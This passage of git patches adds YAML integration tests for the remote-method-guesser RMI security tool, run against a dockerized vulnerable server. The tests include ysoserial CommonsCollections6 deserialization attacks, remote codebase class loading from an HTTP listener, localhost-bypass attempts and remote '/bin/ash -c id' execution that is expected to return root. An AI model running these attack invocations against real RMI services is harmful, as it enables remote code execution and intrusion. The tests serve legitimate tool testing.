de.qtc.rmg.server.interfaces.IPlainServer (unknown class) +[+] Endpoint: iinsecure.dev:41867 TLS: no ObjID: [6fd4e3c:180ac45a068:-7fec, 969949632761859811] +[+] - java.rmi.activation.ActivationSystem +[+] --> sun.rmi.server.Activation$ActivationSystemImpl_Stub (known class: RMI Activation System) +[+] Endpoint: iinsecure.dev:1098 TLS: no ObjID: [0:0:0, 4] +``` #### Codebase Enumeration diff --git a/tests/jdk11/tests/act.yml b/tests/jdk11/tests/act.yml index cfc4e67f..5d7dee79 100644 --- a/tests/jdk11/tests/act.yml +++ b/tests/jdk11/tests/act.yml @@ -49,7 +49,7 @@ tests: description: |- 'Performs a deserialization attack on the Activator endpoint.' 'The expected result is a file being created within the docker' - 'volume. This tests targets the Activator that was created by' + 'volume. This test targets the Activator that was created by' 'the activation system.' groups: From cec74fa0b028682e36badea652a85031eb78ac84 Mon Sep 17 00:00:00 2001 From: TNeitzel Date: Tue, 10 May 2022 07:08:46 +0200 Subject: [PATCH 15/19] [test] Add jdk8 tests for ActivatableRef --- tests/jdk8/tests/act.yml | 31 +++++ tests/jdk8/tests/bind.yml | 42 ++++++ tests/jdk8/tests/call.yml | 116 ++++++++++++++++- tests/jdk8/tests/codebase.yml | 30 +++++ tests/jdk8/tests/dgc.yml | 24 ++++ tests/jdk8/tests/enum.yml | 235 ++++++++++++++++++++++++++++++++++ tests/jdk8/tests/guess.yml | 38 ++++++ tests/jdk8/tests/method.yml | 37 +++++- tests/jdk8/tests/reg.yml | 28 ++++ 9 files changed, 574 insertions(+), 7 deletions(-) diff --git a/tests/jdk8/tests/act.yml b/tests/jdk8/tests/act.yml index cbe5db23..35b4abf7 100644 --- a/tests/jdk8/tests/act.yml +++ b/tests/jdk8/tests/act.yml @@ -45,6 +45,37 @@ tests: - '${volume}/${file}' + - title: Gadget Call (Activation System) + description: |- + 'Performs a deserialization attack on the Activator endpoint.' + 'The expected result is a file being created within the docker' + 'volume. This test targets the Activator that was created by' + 'the activation system.' + + groups: + - ysoserial + + command: + - rmg + - serial + - ${TARGET-ACT} + - CommonsCollections6 + - 'touch ${volume-d}/${file}' + - --component + - act + - ${OPTIONS} + + validators: + - error: False + - regex: + match: + - 'Deserialization attack.+successful' + - file_exists: + cleanup: True + files: + - '${volume}/${file}' + + - title: Invalid Gadget description: |- 'Check whether an incorrect gadget specification is handeled' diff --git a/tests/jdk8/tests/bind.yml b/tests/jdk8/tests/bind.yml index f9902687..9678862a 100644 --- a/tests/jdk8/tests/bind.yml +++ b/tests/jdk8/tests/bind.yml @@ -34,6 +34,26 @@ tests: - --localhost-bypass + - title: Bind Call (Activation System) + description: |- + 'Performs a bind operation on a registry created by the activation system.' + + command: + - rmg + - bind + - ${TARGET-ACT} + - '127.0.0.1:8000' + - ${bound-name} + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - rejected bind call + - --localhost-bypass + + - title: Bind Call (localhost bypass) description: |- 'Performs a bind operation with --localhost-bypass.' @@ -55,6 +75,28 @@ tests: - Localhost bypass was used but failed + - title: Bind Call (Activation System localhost bypass) + description: |- + 'Performs a bind operation with --localhost-bypass on a registry created by the + activation system.' + + command: + - rmg + - bind + - ${TARGET-ACT} + - '127.0.0.1:8000' + - ${bound-name} + - --localhost-bypass + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - Registry rejected bind call + - Localhost bypass was used but failed + + - title: Rebind Call description: |- 'Performs a rebind operation.' diff --git a/tests/jdk8/tests/call.yml b/tests/jdk8/tests/call.yml index 588e8248..b8e47d86 100644 --- a/tests/jdk8/tests/call.yml +++ b/tests/jdk8/tests/call.yml @@ -34,7 +34,7 @@ tests: - call - ${TARGET} - '"touch ${volume-d}/${file}"' - - --bound-name + - --bound-name - plain-server - --signature - 'String execute(String dummy)' @@ -60,7 +60,7 @@ tests: - call - ${TARGET} - '"id"' - - --bound-name + - --bound-name - plain-server - --signature - 'String execute(String dummy)' @@ -90,7 +90,7 @@ tests: - call - ${TARGET} - login - - --bound-name + - --bound-name - legacy-service - --signature - 'String login(java.util.HashMap dummy1)' @@ -175,7 +175,7 @@ tests: - call - ${TARGET} - '"id"' - - --bound-name + - --bound-name - legacy-server - --signature - 'String login(java.util.HashMap dummy1)' @@ -198,7 +198,7 @@ tests: - call - ${TARGET} - '5' - - --bound-name + - --bound-name - legacy-service - --signature - 'String login(java.util.HashMap dummy1)' @@ -210,3 +210,109 @@ tests: values: - 5 is invalid - Cannot continue from here + + + - title: Execute Call Activatable + description: |- + 'Invokes the execute function on the activation-test object.' + command: + - rmg + - call + - ${TARGET-ACT} + - '"touch ${volume-d}/${file}"' + - --bound-name + - activation-test + - --signature + - 'String execute(String dummy)' + - ${OPTIONS} + + validators: + - error: False + - file_exists: + cleanup: True + files: + - '${volume}/${file}' + + + - title: Execute Call Activatable (Response Handler Plugin) + description: |- + 'Invokes the execute function on the activation-test object.' + groups: + - response-handler + + command: + - rmg + - call + - ${TARGET-ACT} + - '"id"' + - --bound-name + - activation-test + - --signature + - 'String execute(String dummy)' + - --plugin + - ../../utils/PluginTest.jar + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - uid=0(root) + - gid=0(root) + - groups=0(root) + + + - title: System Call (Response Handler Plugin) + description: |- + 'Invokes the system function on the plain-server object.' + groups: + - response-handler + + command: + - rmg + - call + - ${TARGET-ACT} + - '"/bin/ash", new String[] { "-c", "id" }' + - --bound-name + - plain-server + - --signature + - 'String system(String command, String[] args)' + - --plugin + - ../../utils/PluginTest.jar + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - uid=0(root) + - gid=0(root) + - groups=0(root) + + + - title: System Call Activatable (Response Handler Plugin) + description: |- + 'Invokes the system function on the activation-test object.' + groups: + - response-handler + + command: + - rmg + - call + - ${TARGET-ACT} + - '"/bin/ash", new String[] { "-c", "id" }' + - --bound-name + - activation-test + - --signature + - 'String system(String command, String[] args)' + - --plugin + - ../../utils/PluginTest.jar + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - uid=0(root) + - gid=0(root) + - groups=0(root) diff --git a/tests/jdk8/tests/codebase.yml b/tests/jdk8/tests/codebase.yml index f662facc..272138c8 100644 --- a/tests/jdk8/tests/codebase.yml +++ b/tests/jdk8/tests/codebase.yml @@ -21,6 +21,7 @@ plugins: - '../../utils/${codebase-class}2.java' - '../../utils/${codebase-class}3.java' - '../../utils/${codebase-class}4.java' + - '../../utils/${codebase-class}5.java' - http_listener: port: 8000 @@ -165,6 +166,35 @@ tests: - '${volume}/${codebase-class}4.txt' + - title: Method Codebase Call (Activatable) + description: |- + 'Performs a codebase attack on the activation-test2 remote object.' + 'The expected result is a file being created within the docker' + 'volume.' + command: + - rmg + - codebase + - ${TARGET-ACT} + - '${codebase-class}5' + - 'http://${DOCKER-GW}:8000/' + - --signature + - 'void updatePreferences(java.util.ArrayList preferences)' + - --bound-name + - activation-test2 + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - 'load canary class' + - 'attack probably worked' + - file_exists: + cleanup: True + files: + - '${volume}/${codebase-class}5.txt' + + - title: Missing Signature description: |- 'Performs a codebase attack with missing --signature option and checks' diff --git a/tests/jdk8/tests/dgc.yml b/tests/jdk8/tests/dgc.yml index 249253b2..4c5df219 100644 --- a/tests/jdk8/tests/dgc.yml +++ b/tests/jdk8/tests/dgc.yml @@ -65,3 +65,27 @@ tests: values: - 'Caught java.lang.NoClassDefFoundError during deserialization attack' + + - title: Gadget Call (Activation System) + description: |- + 'Attempts a deserialization attack on the DGC endpoint.' + 'The deserialization should work, but the chain is broken at some point.' + groups: + - ysoserial + + command: + - rmg + - serial + - ${TARGET-ACT} + - CommonsCollections6 + - ls + - --component + - dgc + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - 'Caught java.lang.NoClassDefFoundError during deserialization attack.' + - 'This could be caused by your gadget an the attack probably worked anyway.' diff --git a/tests/jdk8/tests/enum.yml b/tests/jdk8/tests/enum.yml index 89f3f7b2..a023e500 100644 --- a/tests/jdk8/tests/enum.yml +++ b/tests/jdk8/tests/enum.yml @@ -172,3 +172,238 @@ tests: [+] - Caught IllegalArgumentException during activate call (activator is present). [+] --> Deserialization allowed - Vulnerability Status: Vulnerable [+] --> Client codebase enabled - Configuration Status: Non Default + + + - title: 'Activation Server Enumeration' + command: + - rmg + - enum + - ${TARGET-ACT} + - ${OPTIONS} + + validators: + - error: False + + - contains: + description: |- + 'Check whether all registered bound names are detected.' + ignore_case: True + values: + - 'activation-test' + - 'de.qtc.rmg.server.activation.IActivationService (unknown class)' + - 'Activator: iinsecure.dev:1098 ActivationID:' + - 'activation-test2' + - 'de.qtc.rmg.server.activation.IActivationService2 (unknown class)' + - 'Activator: iinsecure.dev:1098 ActivationID:' + - 'plain-server' + - 'de.qtc.rmg.server.interfaces.IPlainServer (unknown class)' + - 'java.rmi.activation.ActivationSystem' + - 'sun.rmi.server.Activation$ActivationSystemImpl_Stub (known class: RMI Activation System)' + invert: + - 'TLS: yes ObjID:' + + - contains: + description: |- + 'Check whether all exposed codebase values are detected.' + ignore_case: True + values: + - 'http://iinsecure.dev/well-hidden-development-folder/' + + - contains: + description: |- + 'Check whether string marshalling behavior is correctly detected.' + ignore_case: True + values: + - |- + [+] RMI server String unmarshalling enumeration: + [+] + [+] - Caught ClassNotFoundException during lookup call. + [+] --> The type java.lang.String is unmarshalled via readObject(). + [+] Configuration Status: Outdated + + - contains: + description: |- + 'Check whether the useCodebaseOnly settings is correctly detected.' + ignore_case: True + values: + - |- + [+] RMI server useCodebaseOnly enumeration: + [+] + [+] - Caught MalformedURLException during lookup call. + [+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false). + [+] Configuration Status: Non Default + + - contains: + description: |- + 'Check whether localhost bypass vulnerability is detected.' + ignore_case: True + values: + - |- + [+] RMI registry localhost bypass enumeration (CVE-2019-2684): + [+] + [+] - Registry rejected unbind call cause it was not send from localhost. + [+] Vulnerability Status: Non Vulnerable + + - contains: + description: |- + 'Check whether DGC enumeration is working.' + ignore_case: True + values: + - |- + [+] RMI Security Manager enumeration: + [+] + [+] - Security Manager rejected access to the class loader. + [+] --> The server does use a Security Manager. + [+] Configuration Status: Current Default + + - contains: + description: |- + 'Check whether JEP290 enumeration is working.' + ignore_case: True + values: + - |- + [+] RMI server JEP290 enumeration: + [+] + [+] - DGC accepted deserialization of java.util.HashMap (JEP290 is not installed). + [+] Vulnerability Status: Vulnerable + + - contains: + description: |- + 'Check whether JEP290 Bypass enumeration is working.' + ignore_case: True + values: + - |- + [+] RMI registry JEP290 bypass enmeration: + [+] + [+] - Caught IllegalArgumentException after sending An Trinh gadget. + [+] Vulnerability Status: Vulnerable + + - contains: + description: |- + 'Check whether Activator enumeration is working.' + ignore_case: True + values: + - |- + [+] RMI ActivationSystem enumeration: + [+] + [+] - Caught IllegalArgumentException during activate call (activator is present). + [+] --> Deserialization allowed - Vulnerability Status: Vulnerable + [+] --> Client codebase enabled - Configuration Status: Non Default + + + - title: 'Activation Server Enumeration (--activate)' + command: + - rmg + - enum + - ${TARGET-ACT} + - --activate + - ${OPTIONS} + + validators: + - error: False + + - contains: + description: |- + 'Check whether all registered bound names are detected.' + ignore_case: True + values: + - 'activation-test' + - 'de.qtc.rmg.server.activation.IActivationService (unknown class)' + - 'Activator: iinsecure.dev:1098 ActivationID:' + - 'activation-test2' + - 'de.qtc.rmg.server.activation.IActivationService2 (unknown class)' + - 'Activator: iinsecure.dev:1098 ActivationID:' + - 'plain-server' + - 'de.qtc.rmg.server.interfaces.IPlainServer (unknown class)' + - 'java.rmi.activation.ActivationSystem' + - 'sun.rmi.server.Activation$ActivationSystemImpl_Stub (known class: RMI Activation System)' + - 'TLS: yes ObjID:' + + - contains: + description: |- + 'Check whether all exposed codebase values are detected.' + ignore_case: True + values: + - 'http://iinsecure.dev/well-hidden-development-folder/' + - 'file:/opt/example-server.jar' + + - contains: + description: |- + 'Check whether string marshalling behavior is correctly detected.' + ignore_case: True + values: + - |- + [+] RMI server String unmarshalling enumeration: + [+] + [+] - Caught ClassNotFoundException during lookup call. + [+] --> The type java.lang.String is unmarshalled via readObject(). + [+] Configuration Status: Outdated + + - contains: + description: |- + 'Check whether the useCodebaseOnly settings is correctly detected.' + ignore_case: True + values: + - |- + [+] RMI server useCodebaseOnly enumeration: + [+] + [+] - Caught MalformedURLException during lookup call. + [+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false). + [+] Configuration Status: Non Default + + - contains: + description: |- + 'Check whether localhost bypass vulnerability is detected.' + ignore_case: True + values: + - |- + [+] RMI registry localhost bypass enumeration (CVE-2019-2684): + [+] + [+] - Registry rejected unbind call cause it was not send from localhost. + [+] Vulnerability Status: Non Vulnerable + + - contains: + description: |- + 'Check whether DGC enumeration is working.' + ignore_case: True + values: + - |- + [+] RMI Security Manager enumeration: + [+] + [+] - Security Manager rejected access to the class loader. + [+] --> The server does use a Security Manager. + [+] Configuration Status: Current Default + + - contains: + description: |- + 'Check whether JEP290 enumeration is working.' + ignore_case: True + values: + - |- + [+] RMI server JEP290 enumeration: + [+] + [+] - DGC accepted deserialization of java.util.HashMap (JEP290 is not installed). + [+] Vulnerability Status: Vulnerable + + - contains: + description: |- + 'Check whether JEP290 Bypass enumeration is working.' + ignore_case: True + values: + - |- + [+] RMI registry JEP290 bypass enmeration: + [+] + [+] - Caught IllegalArgumentException after sending An Trinh gadget. + [+] Vulnerability Status: Vulnerable + + - contains: + description: |- + 'Check whether Activator enumeration is working.' + ignore_case: True + values: + - |- + [+] RMI ActivationSystem enumeration: + [+] + [+] - Caught IllegalArgumentException during activate call (activator is present). + [+] --> Deserialization allowed - Vulnerability Status: Vulnerable + [+] --> Client codebase enabled - Configuration Status: Non Default diff --git a/tests/jdk8/tests/guess.yml b/tests/jdk8/tests/guess.yml index 515ec57e..4be17446 100644 --- a/tests/jdk8/tests/guess.yml +++ b/tests/jdk8/tests/guess.yml @@ -150,3 +150,41 @@ tests: - void updatePreferences(java.util.ArrayList dummy1) - void logMessage(int dummy1, Object dummy2) - String login(java.util.HashMap dummy1) + + + - title: Activatable Guess + description: |- + 'Performs method guessing on the registry opened by the acivation system.' + command: + - rmg + - guess + - ${TARGET-ACT} + - --verbose + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - 'You can use --follow to prevent this.' + - 'Methods that take zero arguments are ignored by default. Use --zero-args to guess them' + - 'Ignoring zero argument method: java.lang.String getStatus()' + - 'The following bound names use a known remote object class' + - 'You can use --force-guessing to guess methods anyway' + - 'String execute(String dummy)' + - 'String system(String dummy, String[] dummy2)' + - 'void logMessage(int dummy1, Object dummy2)' + - 'String login(java.util.HashMap dummy1)' + - 'void updatePreferences(java.util.ArrayList dummy1)' + - 'String system(String dummy, String[] dummy2)' + - 'String execute(String dummy)' + - 'java.rmi.activation.ActivationID registerObject(java.rmi.activation.ActivationDesc arg)' + - 'void unregisterObject(java.rmi.activation.ActivationID arg)' + - 'java.rmi.activation.ActivationGroupID registerGroup(java.rmi.activation.ActivationGroupDesc arg)' + - 'java.rmi.activation.ActivationMonitor activeGroup(java.rmi.activation.ActivationGroupID arg, java.rmi.activation.ActivationInstantiator arg, long arg)' + - 'void unregisterGroup(java.rmi.activation.ActivationGroupID arg)' + - 'void shutdown()' + - 'java.rmi.activation.ActivationDesc setActivationDesc(java.rmi.activation.ActivationID arg, java.rmi.activation.ActivationDesc arg)' + - 'java.rmi.activation.ActivationGroupDesc setActivationGroupDesc(java.rmi.activation.ActivationGroupID arg, java.rmi.activation.ActivationGroupDesc arg)' + - 'java.rmi.activation.ActivationDesc getActivationDesc(java.rmi.activation.ActivationID arg)' + - 'java.rmi.activation.ActivationGroupDesc getActivationGroupDesc(java.rmi.activation.ActivationGroupID arg)' diff --git a/tests/jdk8/tests/method.yml b/tests/jdk8/tests/method.yml index ee070d44..c8b1db5e 100644 --- a/tests/jdk8/tests/method.yml +++ b/tests/jdk8/tests/method.yml @@ -38,7 +38,7 @@ tests: - rmg - serial - ${TARGET} - - CommonsCollections6 + - CommonsCollections6 - 'touch ${volume-d}/${file}' - --signature - 'String system(String dummy, String[] dummy2)' @@ -72,7 +72,7 @@ tests: - rmg - serial - ${TARGET} - - CommonsCollections6 + - CommonsCollections6 - 'touch ${volume-d}/${file}' - --signature - 'void releaseRecord(int recordID, String tableName, Integer remoteHashCode)' @@ -94,6 +94,39 @@ tests: - '${volume}/${file}' + - title: Gadget Call (Activatable) + description: |- + 'Performs a deserialization attack on the updatePreferences function of the' + 'activation-test2 object.' + groups: + - ysoserial + + command: + - rmg + - serial + - ${TARGET-ACT} + - CommonsCollections6 + - 'touch ${volume-d}/${file}' + - --signature + - 'void updatePreferences(java.util.ArrayList dummy1)' + - --bound-name + - activation-test2 + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - java.util.ArrayList + - Caught ClassNotFoundException + - deserialize canary + - probably worked + - file_exists: + cleanup: True + files: + - '${volume}/${file}' + + - title: Plugin Call description: |- 'Uses a plugin as payload provider that returns the string that was specified' diff --git a/tests/jdk8/tests/reg.yml b/tests/jdk8/tests/reg.yml index 0065c475..ccfc49d0 100644 --- a/tests/jdk8/tests/reg.yml +++ b/tests/jdk8/tests/reg.yml @@ -86,6 +86,34 @@ tests: - '${volume}/${file}' + - title: Gadget Call (Activation) + description: |- + 'Attempts a deserialization attack on the registry endpoint.' + groups: + - ysoserial + + command: + - rmg + - serial + - ${TARGET-ACT} + - CommonsCollections6 + - 'touch ${volume-d}/${file}' + - --component + - reg + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - Caught ClassCastException during deserialization attack + - Deserialization attack was probably successful + - file_exists: + cleanup: True + files: + - '${volume}/${file}' + + - title: JEP290 Bypass description: |- 'Attempts a deserialization attack on the registry endpoint,' From 67e99cb522e2bd16a41b059694305507294a1470 Mon Sep 17 00:00:00 2001 From: TNeitzel Date: Tue, 10 May 2022 07:41:47 +0200 Subject: [PATCH 16/19] [test] Add jdk9 tests for ActivatableRef --- tests/jdk9/tests/act.yml | 30 +++++ tests/jdk9/tests/bind.yml | 42 ++++++ tests/jdk9/tests/call.yml | 116 ++++++++++++++++- tests/jdk9/tests/codebase.yml | 30 +++++ tests/jdk9/tests/dgc.yml | 25 ++++ tests/jdk9/tests/enum.yml | 235 ++++++++++++++++++++++++++++++++++ tests/jdk9/tests/guess.yml | 38 ++++++ tests/jdk9/tests/method.yml | 37 +++++- tests/jdk9/tests/reg.yml | 25 ++++ 9 files changed, 571 insertions(+), 7 deletions(-) diff --git a/tests/jdk9/tests/act.yml b/tests/jdk9/tests/act.yml index 1fa5f0fa..f6f0fa0c 100644 --- a/tests/jdk9/tests/act.yml +++ b/tests/jdk9/tests/act.yml @@ -45,6 +45,36 @@ tests: - '${volume}/${file}' + - title: Gadget Call (Activation System) + description: |- + 'Performs a deserialization attack on the Activator endpoint.' + 'The expected result is a file being created within the docker' + 'volume. This test targets the Activator that was created by' + 'the activation system.' + groups: + - ysoserial + + command: + - rmg + - serial + - ${TARGET-ACT} + - CommonsCollections6 + - 'touch ${volume-d}/${file}' + - --component + - act + - ${OPTIONS} + + validators: + - error: False + - regex: + match: + - 'Deserialization attack.+successful' + - file_exists: + cleanup: True + files: + - '${volume}/${file}' + + - title: Invalid Gadget description: |- 'Check whether an incorrect gadget specification is handeled' diff --git a/tests/jdk9/tests/bind.yml b/tests/jdk9/tests/bind.yml index 938fee8d..8908e2b8 100644 --- a/tests/jdk9/tests/bind.yml +++ b/tests/jdk9/tests/bind.yml @@ -34,6 +34,25 @@ tests: - --localhost-bypass + - title: Bind Call (Activation System) + description: |- + 'Performs a bind operation on a registry created by the activation system.' + command: + - rmg + - bind + - ${TARGET-ACT} + - '127.0.0.1:8000' + - ${bound-name} + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - rejected bind call + - --localhost-bypass + + - title: Bind Call (localhost bypass) description: |- 'Performs a bind operation with --localhost-bypass.' @@ -55,6 +74,29 @@ tests: - probably successful + - title: Bind Call (Activation System localhost bypass) + description: |- + 'Performs a bind operation with --localhost-bypass on a registry created by the + activation system. Despite the jdk version used by the server is vulnerable, the + bypass fails, because the Activation System implements the access check manually + within their registry implementation (SystemRegistryImpl)' + command: + - rmg + - bind + - ${TARGET-ACT} + - '127.0.0.1:8000' + - ${bound-name} + - --localhost-bypass + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - Registry rejected bind call because it was not send from localhost. + - Localhost bypass was used but failed. + + - title: Verify Bind description: |- 'Verifies the previous bind operation.' diff --git a/tests/jdk9/tests/call.yml b/tests/jdk9/tests/call.yml index 44f99c17..e241db32 100644 --- a/tests/jdk9/tests/call.yml +++ b/tests/jdk9/tests/call.yml @@ -34,7 +34,7 @@ tests: - call - ${TARGET} - '"touch ${volume-d}/${file}"' - - --bound-name + - --bound-name - plain-server - --signature - 'String execute(String dummy)' @@ -60,7 +60,7 @@ tests: - call - ${TARGET} - '"id"' - - --bound-name + - --bound-name - plain-server - --signature - 'String execute(String dummy)' @@ -90,7 +90,7 @@ tests: - call - ${TARGET} - login - - --bound-name + - --bound-name - legacy-service - --signature - 'String login(java.util.HashMap dummy1)' @@ -175,7 +175,7 @@ tests: - call - ${TARGET} - '"id"' - - --bound-name + - --bound-name - legacy-server - --signature - 'String login(java.util.HashMap dummy1)' @@ -198,7 +198,7 @@ tests: - call - ${TARGET} - '5' - - --bound-name + - --bound-name - legacy-service - --signature - 'String login(java.util.HashMap dummy1)' @@ -210,3 +210,109 @@ tests: values: - 5 is invalid - Cannot continue from here + + + - title: Execute Call Activatable + description: |- + 'Invokes the execute function on the activation-test object.' + command: + - rmg + - call + - ${TARGET-ACT} + - '"touch ${volume-d}/${file}"' + - --bound-name + - activation-test + - --signature + - 'String execute(String dummy)' + - ${OPTIONS} + + validators: + - error: False + - file_exists: + cleanup: True + files: + - '${volume}/${file}' + + + - title: Execute Call Activatable (Response Handler Plugin) + description: |- + 'Invokes the execute function on the activation-test object.' + groups: + - response-handler + + command: + - rmg + - call + - ${TARGET-ACT} + - '"id"' + - --bound-name + - activation-test + - --signature + - 'String execute(String dummy)' + - --plugin + - ../../utils/PluginTest.jar + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - uid=0(root) + - gid=0(root) + - groups=0(root) + + + - title: System Call (Response Handler Plugin) + description: |- + 'Invokes the system function on the plain-server object.' + groups: + - response-handler + + command: + - rmg + - call + - ${TARGET-ACT} + - '"/bin/ash", new String[] { "-c", "id" }' + - --bound-name + - plain-server + - --signature + - 'String system(String command, String[] args)' + - --plugin + - ../../utils/PluginTest.jar + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - uid=0(root) + - gid=0(root) + - groups=0(root) + + + - title: System Call Activatable (Response Handler Plugin) + description: |- + 'Invokes the system function on the activation-test object.' + groups: + - response-handler + + command: + - rmg + - call + - ${TARGET-ACT} + - '"/bin/ash", new String[] { "-c", "id" }' + - --bound-name + - activation-test + - --signature + - 'String system(String command, String[] args)' + - --plugin + - ../../utils/PluginTest.jar + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - uid=0(root) + - gid=0(root) + - groups=0(root) diff --git a/tests/jdk9/tests/codebase.yml b/tests/jdk9/tests/codebase.yml index 2353ae16..0e23cb3a 100644 --- a/tests/jdk9/tests/codebase.yml +++ b/tests/jdk9/tests/codebase.yml @@ -21,6 +21,7 @@ plugins: - '../../utils/${codebase-class}2.java' - '../../utils/${codebase-class}3.java' - '../../utils/${codebase-class}4.java' + - '../../utils/${codebase-class}5.java' - http_listener: port: 8000 @@ -165,6 +166,35 @@ tests: - '${volume}/${codebase-class}4.txt' + - title: Method Codebase Call (Activatable) + description: |- + 'Performs a codebase attack on the activation-test2 remote object.' + 'The expected result is a file being created within the docker' + 'volume.' + command: + - rmg + - codebase + - ${TARGET-ACT} + - '${codebase-class}5' + - 'http://${DOCKER-GW}:8000/' + - --signature + - 'void updatePreferences(java.util.ArrayList preferences)' + - --bound-name + - activation-test2 + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - 'load canary class' + - 'attack probably worked' + - file_exists: + cleanup: True + files: + - '${volume}/${codebase-class}5.txt' + + - title: Missing Signature description: |- 'Performs a codebase attack with missing --signature option and checks' diff --git a/tests/jdk9/tests/dgc.yml b/tests/jdk9/tests/dgc.yml index 2bd8fb62..d2ca50cd 100644 --- a/tests/jdk9/tests/dgc.yml +++ b/tests/jdk9/tests/dgc.yml @@ -61,3 +61,28 @@ tests: values: - rejected deserialization - The supplied gadget did not pass the deserialization filter + + + - title: Gadget Call (Activation System) + description: |- + 'Attempts a deserialization attack on the DGC endpoint.' + 'This should fail, as the server has JEP290 installed.' + groups: + - ysoserial + + command: + - rmg + - serial + - ${TARGET-ACT} + - CommonsCollections6 + - ls + - --component + - dgc + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - rejected deserialization + - The supplied gadget did not pass the deserialization filter diff --git a/tests/jdk9/tests/enum.yml b/tests/jdk9/tests/enum.yml index 14dda40b..ba381303 100644 --- a/tests/jdk9/tests/enum.yml +++ b/tests/jdk9/tests/enum.yml @@ -172,3 +172,238 @@ tests: [+] - Caught IllegalArgumentException during activate call (activator is present). [+] --> Deserialization allowed - Vulnerability Status: Vulnerable [+] --> Client codebase enabled - Configuration Status: Non Default + + + - title: 'Activation Server Enumeration' + command: + - rmg + - enum + - ${TARGET-ACT} + - ${OPTIONS} + + validators: + - error: False + + - contains: + description: |- + 'Check whether all registered bound names are detected.' + ignore_case: True + values: + - 'activation-test' + - 'de.qtc.rmg.server.activation.IActivationService (unknown class)' + - 'Activator: iinsecure.dev:1098 ActivationID:' + - 'activation-test2' + - 'de.qtc.rmg.server.activation.IActivationService2 (unknown class)' + - 'Activator: iinsecure.dev:1098 ActivationID:' + - 'plain-server' + - 'de.qtc.rmg.server.interfaces.IPlainServer (unknown class)' + - 'java.rmi.activation.ActivationSystem' + - 'sun.rmi.server.Activation$ActivationSystemImpl_Stub (known class: RMI Activation System)' + invert: + - 'TLS: yes ObjID:' + + - contains: + description: |- + 'Check whether all exposed codebase values are detected.' + ignore_case: True + values: + - 'http://iinsecure.dev/well-hidden-development-folder/' + + - contains: + description: |- + 'Check whether string marshalling behavior is correctly detected.' + ignore_case: True + values: + - |- + [+] RMI server String unmarshalling enumeration: + [+] + [+] - Caught ClassNotFoundException during lookup call. + [+] --> The type java.lang.String is unmarshalled via readObject(). + [+] Configuration Status: Outdated + + - contains: + description: |- + 'Check whether the useCodebaseOnly settings is correctly detected.' + ignore_case: True + values: + - |- + [+] RMI server useCodebaseOnly enumeration: + [+] + [+] - Caught MalformedURLException during lookup call. + [+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false). + [+] Configuration Status: Non Default + + - contains: + description: |- + 'Check whether localhost bypass vulnerability is detected.' + ignore_case: True + values: + - |- + [+] RMI registry localhost bypass enumeration (CVE-2019-2684): + [+] + [+] - Registry rejected unbind call cause it was not send from localhost. + [+] Vulnerability Status: Non Vulnerable + + - contains: + description: |- + 'Check whether DGC enumeration is working.' + ignore_case: True + values: + - |- + [+] RMI Security Manager enumeration: + [+] + [+] - Security Manager rejected access to the class loader. + [+] --> The server does use a Security Manager. + [+] Configuration Status: Current Default + + - contains: + description: |- + 'Check whether JEP290 enumeration is working.' + ignore_case: True + values: + - |- + [+] RMI server JEP290 enumeration: + [+] + [+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed). + [+] Vulnerability Status: Non Vulnerable + + - contains: + description: |- + 'Check whether JEP290 Bypass enumeration is working.' + ignore_case: True + values: + - |- + [+] RMI registry JEP290 bypass enmeration: + [+] + [+] - Caught IllegalArgumentException after sending An Trinh gadget. + [+] Vulnerability Status: Vulnerable + + - contains: + description: |- + 'Check whether Activator enumeration is working.' + ignore_case: True + values: + - |- + [+] RMI ActivationSystem enumeration: + [+] + [+] - Caught IllegalArgumentException during activate call (activator is present). + [+] --> Deserialization allowed - Vulnerability Status: Vulnerable + [+] --> Client codebase enabled - Configuration Status: Non Default + + + - title: 'Activation Server Enumeration (--activate)' + command: + - rmg + - enum + - ${TARGET-ACT} + - --activate + - ${OPTIONS} + + validators: + - error: False + + - contains: + description: |- + 'Check whether all registered bound names are detected.' + ignore_case: True + values: + - 'activation-test' + - 'de.qtc.rmg.server.activation.IActivationService (unknown class)' + - 'Activator: iinsecure.dev:1098 ActivationID:' + - 'activation-test2' + - 'de.qtc.rmg.server.activation.IActivationService2 (unknown class)' + - 'Activator: iinsecure.dev:1098 ActivationID:' + - 'plain-server' + - 'de.qtc.rmg.server.interfaces.IPlainServer (unknown class)' + - 'java.rmi.activation.ActivationSystem' + - 'sun.rmi.server.Activation$ActivationSystemImpl_Stub (known class: RMI Activation System)' + - 'TLS: yes ObjID:' + + - contains: + description: |- + 'Check whether all exposed codebase values are detected.' + ignore_case: True + values: + - 'http://iinsecure.dev/well-hidden-development-folder/' + - 'file:/opt/example-server.jar' + + - contains: + description: |- + 'Check whether string marshalling behavior is correctly detected.' + ignore_case: True + values: + - |- + [+] RMI server String unmarshalling enumeration: + [+] + [+] - Caught ClassNotFoundException during lookup call. + [+] --> The type java.lang.String is unmarshalled via readObject(). + [+] Configuration Status: Outdated + + - contains: + description: |- + 'Check whether the useCodebaseOnly settings is correctly detected.' + ignore_case: True + values: + - |- + [+] RMI server useCodebaseOnly enumeration: + [+] + [+] - Caught MalformedURLException during lookup call. + [+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false). + [+] Configuration Status: Non Default + + - contains: + description: |- + 'Check whether localhost bypass vulnerability is detected.' + ignore_case: True + values: + - |- + [+] RMI registry localhost bypass enumeration (CVE-2019-2684): + [+] + [+] - Registry rejected unbind call cause it was not send from localhost. + [+] Vulnerability Status: Non Vulnerable + + - 